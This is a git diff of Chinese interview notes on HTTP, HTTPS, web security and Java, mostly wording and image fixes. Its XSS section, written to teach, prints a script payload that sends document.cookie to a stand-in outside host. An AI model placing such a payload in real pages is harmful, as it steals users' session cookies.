fix conflict
|
@ -4,9 +4,9 @@
|
||||||
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
|
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
|
||||||
</br>
|
</br>
|
||||||
|
|
||||||
:loudspeaker: 本仓库的内容不涉及商业行为,不向读者收取任何费用。
|
:loudspeaker: 本仓库不参与商业行为,不向读者收取任何费用。
|
||||||
|
|
||||||
:loudspeaker: This repository is not involving commercial activities, and does not charge readers any fee.
|
:loudspeaker: This repository is not engaging in business activities, and does not charge readers any fee.
|
||||||
</br></br>
|
</br></br>
|
||||||
|
|
||||||
## 网络 :cloud:
|
## 网络 :cloud:
|
||||||
|
@ -109,7 +109,8 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
|
||||||
|
|
||||||
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
|
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
|
||||||
|
|
||||||
分布式事务、复杂均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
||||||
|
|
||||||
|
|
||||||
## 工具 :hammer:
|
## 工具 :hammer:
|
||||||
|
|
||||||
|
|
|
@ -14,6 +14,7 @@
|
||||||
* [CONNECT](#connect)
|
* [CONNECT](#connect)
|
||||||
* [TRACE](#trace)
|
* [TRACE](#trace)
|
||||||
* [三、HTTP 状态码](#三http-状态码)
|
* [三、HTTP 状态码](#三http-状态码)
|
||||||
|
* [1XX 信息](#1xx-信息)
|
||||||
* [2XX 成功](#2xx-成功)
|
* [2XX 成功](#2xx-成功)
|
||||||
* [3XX 重定向](#3xx-重定向)
|
* [3XX 重定向](#3xx-重定向)
|
||||||
* [4XX 客户端错误](#4xx-客户端错误)
|
* [4XX 客户端错误](#4xx-客户端错误)
|
||||||
|
@ -195,7 +196,7 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||||
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
||||||
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
||||||
|
|
||||||
### 1XX 信息
|
## 1XX 信息
|
||||||
|
|
||||||
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
||||||
|
|
||||||
|
@ -516,7 +517,7 @@ HTTP 有以下安全性问题:
|
||||||
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
||||||
3. 无法证明报文的完整性,报文有可能遭篡改。
|
3. 无法证明报文的完整性,报文有可能遭篡改。
|
||||||
|
|
||||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。
|
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
|
||||||
|
|
||||||
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
||||||
|
|
||||||
|
@ -526,21 +527,21 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通
|
||||||
|
|
||||||
### 1. 对称密钥加密
|
### 1. 对称密钥加密
|
||||||
|
|
||||||
Symmetric-Key Encryption,加密的加密和解密使用同一密钥。
|
对称密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。
|
||||||
|
|
||||||
- 优点:运算速度快;
|
- 优点:运算速度快;
|
||||||
- 缺点:密钥容易被获取。
|
- 缺点:密钥容易被获取。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br>
|
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
|
||||||
|
|
||||||
### 2. 公开密钥加密
|
### 2. 公开密钥加密
|
||||||
|
|
||||||
Public-Key Encryption,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||||
|
|
||||||
- 优点:更为安全;
|
- 优点:更为安全;
|
||||||
- 缺点:运算速度慢;
|
- 缺点:运算速度慢;
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br>
|
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
|
||||||
|
|
||||||
### 3. HTTPs 采用的加密方式
|
### 3. HTTPs 采用的加密方式
|
||||||
|
|
||||||
|
@ -584,13 +585,13 @@ SSL 提供报文摘要功能来验证完整性。
|
||||||
|
|
||||||
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
||||||
|
|
||||||
```html
|
```
|
||||||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
之后该内容可能会被渲染成以下形式:
|
之后该内容可能会被渲染成以下形式:
|
||||||
|
|
||||||
```html
|
```
|
||||||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -659,7 +660,7 @@ HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪
|
||||||
|
|
||||||
(二)添加校验 Token
|
(二)添加校验 Token
|
||||||
|
|
||||||
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
|
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
|
||||||
|
|
||||||
## SQL 注入攻击
|
## SQL 注入攻击
|
||||||
|
|
||||||
|
@ -715,9 +716,9 @@ strSQL = "SELECT * FROM users;"
|
||||||
|
|
||||||
### 1. 概念
|
### 1. 概念
|
||||||
|
|
||||||
(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||||
|
|
||||||
(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||||
|
|
||||||
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||||
|
|
||||||
|
@ -725,7 +726,7 @@ strSQL = "SELECT * FROM users;"
|
||||||
|
|
||||||
## 参数
|
## 参数
|
||||||
|
|
||||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
|
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。
|
||||||
|
|
||||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||||
|
|
||||||
|
@ -743,7 +744,7 @@ name1=value1&name2=value2
|
||||||
|
|
||||||
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
||||||
|
|
||||||
GET 方法是安全的,而 POST 却不是。
|
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
|
||||||
|
|
||||||
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
||||||
|
|
||||||
|
@ -751,9 +752,9 @@ GET 方法是安全的,而 POST 却不是。
|
||||||
|
|
||||||
## 幂等性
|
## 幂等性
|
||||||
|
|
||||||
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
||||||
|
|
||||||
GET /pageX HTTP/1.1是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
||||||
|
|
||||||
```
|
```
|
||||||
GET /pageX HTTP/1.1
|
GET /pageX HTTP/1.1
|
||||||
|
@ -762,7 +763,7 @@ GET /pageX HTTP/1.1
|
||||||
GET /pageX HTTP/1.1
|
GET /pageX HTTP/1.1
|
||||||
```
|
```
|
||||||
|
|
||||||
POST /add_row HTTP/1.1不是幂等的。如果调用多次,就会增加多行记录:
|
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
|
||||||
|
|
||||||
```
|
```
|
||||||
POST /add_row HTTP/1.1
|
POST /add_row HTTP/1.1
|
||||||
|
@ -770,7 +771,7 @@ POST /add_row HTTP/1.1 -> Adds a 2nd row
|
||||||
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
||||||
```
|
```
|
||||||
|
|
||||||
DELETE /idX/delete HTTP/1.1是幂等的,即便是不同请求之间接收到的状态码不一样:
|
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
|
||||||
|
|
||||||
```
|
```
|
||||||
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
||||||
|
@ -782,8 +783,8 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||||
|
|
||||||
如果要对响应进行缓存,需要满足以下条件:
|
如果要对响应进行缓存,需要满足以下条件:
|
||||||
|
|
||||||
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
||||||
2. 响应报文的 状态码是可缓存的,包括: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
2. 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
||||||
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
||||||
|
|
||||||
## XMLHttpRequest
|
## XMLHttpRequest
|
||||||
|
@ -798,12 +799,12 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||||
|
|
||||||
## HTTP/1.0 与 HTTP/1.1 的区别
|
## HTTP/1.0 与 HTTP/1.1 的区别
|
||||||
|
|
||||||
1. 持久连接
|
1. HTTP/1.1 默认是持久连接
|
||||||
2. 管线化处理
|
2. HTTP/1.1 支持管线化处理
|
||||||
3. 虚拟主机
|
3. HTTP/1.1 支持虚拟主机
|
||||||
4. 状态码 100
|
4. HTTP/1.1 新增状态码 100
|
||||||
5. 分块传输编码
|
5. HTTP/1.1 只是分块传输编码
|
||||||
6. 缓存处理字段
|
6. HTTP/1.1 新增缓存处理指令 max-age
|
||||||
|
|
||||||
具体内容见上文
|
具体内容见上文
|
||||||
|
|
||||||
|
@ -846,3 +847,4 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
|
||||||
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
||||||
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
||||||
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
||||||
|
- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
|
||||||
|
|
|
@ -156,7 +156,7 @@ I/O 与 NIO 最重要的区别是数据打包和传输的方式,I/O 以流的
|
||||||
|
|
||||||
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
|
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
|
||||||
|
|
||||||
一个面向块的 I/O 系统以块的形式处理数据,一次处理数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
一个面向块的 I/O 系统以块的形式处理数据,一次处理一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||||
|
|
||||||
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如,java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
|
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如,java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
|
||||||
|
|
||||||
|
@ -177,7 +177,7 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||||
|
|
||||||
### 2. 缓冲区
|
### 2. 缓冲区
|
||||||
|
|
||||||
发送给一个通道的所有对象都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
||||||
|
|
||||||
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
|
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
|
||||||
|
|
||||||
|
@ -199,7 +199,7 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||||
|
|
||||||
状态变量的改变过程举例:
|
状态变量的改变过程举例:
|
||||||
|
|
||||||
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 9。capacity 变量不会改变,下面的讨论会忽略它。
|
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
|
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
|
||||||
|
|
||||||
|
|
|
@ -203,8 +203,6 @@ java.lang.CloneNotSupportedException: CloneTest
|
||||||
|
|
||||||
**2. 深拷贝与浅拷贝**
|
**2. 深拷贝与浅拷贝**
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//CLone_20_281_29.png" width="800"/> </div><br>
|
|
||||||
|
|
||||||
- 浅拷贝:拷贝对象和原对象的引用类型引用同一个对象;
|
- 浅拷贝:拷贝对象和原对象的引用类型引用同一个对象;
|
||||||
- 深拷贝:引用不同对象。
|
- 深拷贝:引用不同对象。
|
||||||
|
|
||||||
|
@ -535,14 +533,12 @@ Reflection is powerful, but should not be used indiscriminately. If it is possib
|
||||||
|
|
||||||
# 八、异常
|
# 八、异常
|
||||||
|
|
||||||
Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error** 和 **Exception**,其中 Error 用来表示 JVM 无法处理的错误(比如 java.lang.OutOfMemoryError)。
|
Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error** 和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误,Exception 分为两种:
|
||||||
|
|
||||||
Exception 分为两种:
|
|
||||||
|
|
||||||
1. **受检异常** :需要用 try...catch... 语句捕获并进行处理,并且可以从异常中恢复;
|
1. **受检异常** :需要用 try...catch... 语句捕获并进行处理,并且可以从异常中恢复;
|
||||||
2. **非受检异常** :是程序运行时错误,例如除 0 会引发 Arithmetic Exception,此时程序奔溃并且无法恢复。
|
2. **非受检异常** :是程序运行时错误,例如除 0 会引发 Arithmetic Exception,此时程序奔溃并且无法恢复。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//48f8f98e-8dfd-450d-8b5b-df4688f0d377.jpg"/> </div><br>
|
<div align="center"> <img src="../pics//PPjwP.png"/> </div><br>
|
||||||
|
|
||||||
> - [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
|
> - [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
|
||||||
> - [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
|
> - [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
|
||||||
|
@ -558,8 +554,7 @@ public class Box<T> {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
> - [Java 泛型详解](https://www.ziwenxie.site/2017/03/01/java-generic/)
|
> [Java 泛型详解](https://www.ziwenxie.site/2017/03/01/java-generic/)</br>[10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
|
||||||
> - [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
|
|
||||||
|
|
||||||
# 十、注解
|
# 十、注解
|
||||||
|
|
||||||
|
@ -598,8 +593,7 @@ Java 注解是附加在代码中的一些元信息,用于一些工具在编译
|
||||||
7. Binary Literals, Underscore in literals
|
7. Binary Literals, Underscore in literals
|
||||||
8. Diamond Syntax
|
8. Diamond Syntax
|
||||||
|
|
||||||
> - [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
|
> [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)</br> [Java 8 特性 ](http://www.importnew.com/19345.html)
|
||||||
> - [Java 8 特性 ](http://www.importnew.com/19345.html)
|
|
||||||
|
|
||||||
## Java 与 C++ 的区别
|
## Java 与 C++ 的区别
|
||||||
|
|
||||||
|
|
|
@ -31,7 +31,7 @@
|
||||||
|
|
||||||
- HashSet:基于哈希实现,支持快速查找,但不支持有序性操作,例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
|
- HashSet:基于哈希实现,支持快速查找,但不支持有序性操作,例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
|
||||||
|
|
||||||
- TreeSet:基于红黑树实现,支持有序性操作,但是查找效率不如 HashSet,HashSet 查找时间复杂度为 O(1),TreeSet 则为 O(logn);
|
- TreeSet:基于红黑树实现,支持有序性操作,但是查找效率不如 HashSet,HashSet 查找时间复杂度为 O(1),TreeSet 则为 O(logN);
|
||||||
|
|
||||||
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
|
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
|
||||||
|
|
||||||
|
@ -47,7 +47,7 @@
|
||||||
|
|
||||||
- LinkedList:可以用它来支持双向队列;
|
- LinkedList:可以用它来支持双向队列;
|
||||||
|
|
||||||
- PriorityQueue 是基于堆结构实现,可以用它来实现优先级队列。
|
- PriorityQueue:基于堆结构实现,可以用它来实现优先级队列。
|
||||||
|
|
||||||
## Map
|
## Map
|
||||||
|
|
||||||
|
@ -80,8 +80,6 @@ for (String item : list) {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
> [迭代器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E4%BA%8C%E8%BF%AD%E4%BB%A3%E5%99%A8%E6%A8%A1%E5%BC%8F)
|
|
||||||
|
|
||||||
## 适配器模式
|
## 适配器模式
|
||||||
|
|
||||||
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
|
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
|
||||||
|
@ -91,7 +89,7 @@ java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
|
||||||
public static <T> List<T> asList(T... a)
|
public static <T> List<T> asList(T... a)
|
||||||
```
|
```
|
||||||
|
|
||||||
如果要将数组类型转换为 List 类型,应该注意的是参数列表为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
|
如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
|
||||||
|
|
||||||
```java
|
```java
|
||||||
Integer[] arr = {1, 2, 3};
|
Integer[] arr = {1, 2, 3};
|
||||||
|
@ -104,8 +102,6 @@ List list = Arrays.asList(arr);
|
||||||
List list = Arrays.asList(1,2,3);
|
List list = Arrays.asList(1,2,3);
|
||||||
```
|
```
|
||||||
|
|
||||||
> [适配器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F)
|
|
||||||
|
|
||||||
# 三、散列
|
# 三、散列
|
||||||
|
|
||||||
hasCode() 返回散列值,使用的是对象的地址。
|
hasCode() 返回散列值,使用的是对象的地址。
|
||||||
|
@ -171,7 +167,7 @@ public class ArrayList<E> extends AbstractList<E>
|
||||||
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
|
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
|
||||||
```
|
```
|
||||||
|
|
||||||
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。这是 ArrayList 具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
|
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
|
||||||
|
|
||||||
```java
|
```java
|
||||||
transient Object[] elementData; // non-private to simplify nested class access
|
transient Object[] elementData; // non-private to simplify nested class access
|
||||||
|
@ -291,7 +287,7 @@ transient Entry[] table;
|
||||||
|
|
||||||
其中,Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
|
其中,Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//ce039f03-6588-4f0c-b35b-a494de0eac47.png" width="500"/> </div><br>
|
<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
|
||||||
|
|
||||||
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry,因此可以按照上面的存储结构来理解。
|
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry,因此可以按照上面的存储结构来理解。
|
||||||
|
|
||||||
|
@ -342,32 +338,35 @@ static class Node<K,V> implements Map.Entry<K,V> {
|
||||||
### 2. 拉链法的工作原理
|
### 2. 拉链法的工作原理
|
||||||
|
|
||||||
```java
|
```java
|
||||||
HashMap<String, Integer> map = new HashMap<>(); // 默认大小为 16
|
HashMap<String, String> map = new HashMap<>();
|
||||||
map.put("sachin", 30);
|
map.put("K1", "V1");
|
||||||
map.put("vishal", 20);
|
map.put("K2", "V2");
|
||||||
map.put("vaibhav", 20);
|
map.put("K3", "V3");
|
||||||
```
|
```
|
||||||
|
|
||||||
- 计算 "sachin" 的 hashcode 为 115,使用除留余数法得到 115 % 16 = 3,因此 ("sachin", 30) 键值对放到第 3 个桶上。
|
- 新建一个 HashMap,默认大小为 16;
|
||||||
- 同样得到 ("vishal", 20) 和 ("vaibhav", 20) 都应该放到第 6 个桶上。("vishal", 20) 先放入, ("vaibhav", 20) 链接到 ("vishal", 20) 之后。
|
- 插入 <K1,V1> 键值对,先计算 K1 的 hashCode 为 115,使用除留余数法得到所在的桶下标 115%16=3。
|
||||||
|
- 插入 <K2,V2> 键值对,先计算 K2 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6。
|
||||||
|
- 插入 <K3,V3> 键值对,先计算 K3 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6,它需要插在 <K2,V2> 之前。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//b9a39d2a-618c-468b-86db-2e851f1a0057.jpg" width="600"/> </div><br>
|
<div align="center"> <img src="../pics//c812c28a-1513-4a82-bfda-ab6a40981aa0.png" width="600"/> </div><br>
|
||||||
|
|
||||||
